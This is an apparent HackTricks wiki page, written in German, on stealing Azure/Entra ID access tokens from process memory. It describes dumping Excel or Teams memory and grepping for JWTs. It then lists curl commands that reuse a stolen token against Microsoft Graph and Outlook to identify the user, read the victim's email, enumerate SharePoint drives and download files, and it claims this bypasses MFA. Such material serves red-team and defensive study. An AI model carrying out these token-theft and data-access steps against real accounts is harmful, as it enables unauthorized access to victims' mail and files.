Az - Processes Memory Access Token

Support HackTricks

Grundinformationen

Wie in diesem Video erklärt, könnten einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), Zugriffstoken im Klartext im Speicher speichern. Das bloße Dumpen des Speichers des Prozesses und Greppen nach JWT-Token könnte Ihnen den Zugriff auf mehrere Ressourcen des Opfers in der Cloud ermöglichen und MFA umgehen.

Schritte:

  1. Dumpen Sie die mit dem EntraID-Benutzer synchronisierten Excel-Prozesse mit Ihrem bevorzugten Tool.

  2. Führen Sie aus: string excel.dmp | grep 'eyJ0' und finden Sie mehrere Token in der Ausgabe.

  3. Finden Sie die Token, die Sie am meisten interessieren, und führen Sie Tools über sie aus:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Beachten Sie, dass diese Art von Zugriffstoken auch in anderen Prozessen gefunden werden kann.

Unterstützen Sie HackTricks

Last updated